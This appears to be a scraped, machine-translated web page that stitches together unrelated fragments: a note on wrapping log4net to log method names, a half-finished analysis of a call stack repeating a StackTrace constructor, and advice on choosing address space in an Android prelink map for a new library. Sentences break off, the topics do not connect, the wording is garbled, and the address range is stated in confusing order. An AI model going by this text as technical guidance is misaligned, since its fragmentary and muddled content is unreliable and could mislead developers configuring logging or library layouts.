stacktrack

We must all be familiar with the log4net of the top of the name. In the project application, Log4net is often packaged two times to meet the special needs of the project. For example, the automatic logging call Method name of the log method, the

helps us find the context when an exception occurs and display the call stack at that time. In some cases, the call stack is not the first scene when an exception occurs, in this case, further analysis is required. Analysis and speculation In the above display, we found a very interesting managed call stack, which repeatedly showed "System. Diagnostics. StackTrace .. ctor () + 0x12 ". It seems that a StackTrack object calls its own member function

don't know how to allocate this space. If it is too much, it may be a waste. If it is too little, it may be an error !), When you add a new library, note that you need to find the unused address space in the file and allocate the space to your new library. Open the prelink-linux-arm.map file where: Libomx_wmadec_sharedlibrary.so 0x66800000 # Sigma designs Libraries Libcore. So 0x61400000 The space between the two addresses is large. Therefore, it can be in 0x66800000 ~ 0x61400000 (as if it wa
